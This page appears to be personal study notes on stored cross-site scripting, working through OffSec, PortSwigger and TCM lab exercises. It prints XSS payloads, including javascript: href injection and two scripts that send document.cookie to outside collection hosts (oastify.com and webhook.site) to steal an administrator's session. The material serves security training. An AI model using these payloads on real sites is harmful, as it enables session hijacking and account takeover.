Stored
This can lead to persistent attacks, where the malicious script runs every time the stored content is accessed, potentially stealing user data, performing actions on behalf of users, or defacing the website.
Stored Server XSS
The example below is based on OffSec's WEB-200 course.
The Blog we are testing has two fields: username
and comment
. When we test the latter for HTML injection it does not work as the <>
characters are filtered out by the application (Figure 1). However, the HTML injection works on the username
field (Figure 2).

comment
field for HTML injection.
Next, we can test for XSS on the username
field (Figure 3), and if successful, every user that visits the page will have the payload executed on their browser.

Stored Client XSS
The example below is based on OffSec's WEB-200 course.
This time the application in question has a survey form to complete that includes six fields in total, two of them vulnerable to HTML injection (Figure 4).

If we test for XSS we get a prompt box back (Figure 5.1), and we can review how this exactly works via the source code of survey.js
file. At the end of this file, the getData
function sends a GET
request and constructs the results table on the front-end (Figure 5.2).

href Attribute
The example below is based on PortSwigger's Stored XSS into anchor
href
attribute with double quotes HTML-encoded lab.
In this application there is a comment functionality which includes a Website
field and its value is stored within the HTML href
attribute (Figure 6).

We can try escaping the tag using different payloads, but, unfortunately, none of them works.
// JaveScript payloads used to escape
"><script>alert()</script>
"><img src=x onerror=alert()>
However, the href
attribute can itself create a scriptable context, thus, we are not required to escape it. In this case, we can use the javascript
pseudo-protocol directly (Figure 7).
// JaveScript payloads used
javascript:alert()

Contact Form
The example below is based on TCM's Practical Bug Bounty course.
This application has a ticket functionality and it give us access to both a low- (UserA
) and a high-privileged account (AdminA
) (Figure 8).

We can use a web server, such as Burp's Collaborator or Webhook, and use userA
to send a JavaScript payload to AdminA
through the description box on the Support Ticket page. When the latter receives and opens userA
's ticker, a GET
request will be sent to our server containing AdminA
's session cookie (Figure 9 & 10).
// collaborator payload
<script>
fetch('https://705jjd45qk9l1pb4rhns097xgomfa5yu.oastify.com',
{
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
// webhook payload
<script>var i = new Image; i.src="https://webhook.site/094ef770-e736-4b31-a3cb-34be690ff1b9/?"+document.cookie</script>


Last updated
Was this helpful?